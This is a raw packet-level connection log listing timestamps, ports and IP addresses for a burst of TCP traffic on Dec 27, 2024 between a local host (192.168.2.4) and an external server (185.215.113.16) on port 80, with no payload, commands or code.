Dec 27, 2024 09:01:12.908365965 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.908417940 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.908468962 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.908601046 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.909377098 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.909451008 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.909485102 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.909625053 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.910125971 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.910197973 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.910218954 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.910319090 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.910991907 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.911031961 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.911063910 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.911113024 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.911853075 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.911947966 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.911956072 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.911995888 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.912744045 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.912808895 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.912821054 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.912889004 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.913599014 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.913645029 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.913700104 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.913753986 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.914484978 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.914593935 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.914634943 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.914634943 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.915432930 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.915513992 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.915528059 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.915709972 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.916238070 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.916279078 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.916332006 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.916549921 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.917094946 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.917148113 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.917205095 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.917248964 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.917999983 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.918085098 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.918116093 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.918167114 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.918905020 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.918983936 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.919028044 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.919028044 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.919733047 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.919847012 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.919898987 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.919898987 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.920614004 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.920715094 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.920720100 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.921231031 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.921478987 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.921521902 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.921588898 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.921632051 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.922403097 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.922452927 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.922513008 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.922576904 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.923290014 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.923357010 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.923360109 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.923425913 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.924124956 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.924170971 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.924220085 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.924258947 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.924995899 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.925039053 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.925100088 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.925169945 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.925980091 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.926029921 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.926081896 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.926153898 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.926750898 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.926840067 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.926855087 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.926913023 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.927651882 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.927726984 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.927733898 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.927921057 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.928544044 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.928606033 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.928623915 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.928667068 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.929413080 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.929483891 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.929505110 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.929548979 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.930298090 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.930351973 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.930386066 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.930428982 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.931158066 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.931240082 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.931269884 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.931332111 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.932029963 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.932140112 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.932176113 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.932176113 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.932929039 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.933039904 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.933048964 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.933096886 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.933773994 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.933876991 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.933921099 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.933921099 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.934657097 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.934700966 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.934783936 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.934833050 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.935529947 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.935605049 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.935642004 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.935705900 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.936487913 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.936522961 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.936572075 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.936572075 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.937295914 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.937355995 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.937398911 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.937504053 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.938247919 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.938288927 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.938407898 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.938447952 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.939126968 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.939165115 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.939201117 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.939201117 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.939939022 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.939977884 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.940020084 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.940124989 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.940845966 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.940953016 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.940988064 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.940988064 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.941693068 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.941747904 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.941795111 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.941958904 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.942575932 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.942624092 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.942692041 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.942806959 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.943412066 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.943526983 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.943547010 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.943665981 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.944298983 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.944344044 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.944402933 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.944449902 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.945195913 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.945319891 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.945441961 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.945543051 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.946090937 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.946132898 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.946180105 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.946230888 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.946937084 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.946976900 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.947038889 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.947081089 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.947868109 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.947928905 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.948080063 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.948134899 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.948699951 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.948740005 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.948797941 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.948986053 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.949573994 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.949620962 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.949656963 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.949698925 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.950400114 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.950443983 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.105750084 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.105775118 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.105870962 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.106169939 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.106244087 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.106255054 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.106403112 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.106828928 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.106898069 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.106950045 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.106950045 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.107584953 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.107681036 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.107697010 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.107881069 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.108473063 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.108555079 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.108597994 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.108647108 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.109321117 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.109371901 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.109416008 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.109462976 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.110192060 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.110254049 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.110296965 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.110347033 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.111085892 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.111183882 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.111191988 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.111228943 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.111954927 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.112040043 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.112059116 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.112088919 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.112833023 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.112898111 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.112936020 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.112996101 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.113689899 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.113750935 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.113796949 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.113874912 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.114588022 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.114640951 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.114692926 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.114742041 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.115438938 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.115542889 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.115564108 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.115612984 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.116318941 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.116400003 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.116436958 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.116524935 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.117224932 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.117274046 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.117304087 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.117430925 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.118100882 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.118144989 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.118189096 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.118236065 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.118973017 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.119029045 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.119122028 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.119170904 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.119847059 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.119895935 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.119936943 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.120049953 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.120722055 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.120825052 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.120831966 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.120904922 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.121611118 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.121669054 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.121697903 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.121778965 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.122459888 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.122502089 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.122551918 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.122639894 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.123343945 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.123394012 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.123472929 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.123575926 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.124249935 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.124319077 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.124324083 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.124377966 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.125114918 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.125215054 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.125261068 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.125261068 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.126018047 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.126094103 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.126121044 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.126157999 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.126880884 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.126934052 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.126957893 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.127101898 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.127727032 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.127791882 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.127835035 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.128175020 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.128642082 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.128762960 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.128817081 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.128817081 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.129508018 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.129600048 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.129617929 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.129796982 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.130367041 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.130440950 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.130491972 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.130492926 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.131256104 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.131333113 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.131366014 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.131409883 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.132134914 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.132180929 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.132219076 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.132292032 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.133024931 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.133111000 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.133125067 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.133222103 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.133999109 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.134090900 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.134109974 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.134164095 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.134758949 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.134809971 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.134852886 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.134967089 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.135629892 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.135699987 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.135725975 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.135818005 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.136558056 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.136571884 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.136626005 CET	49789	80	192.168.2.4	185.215.113.16
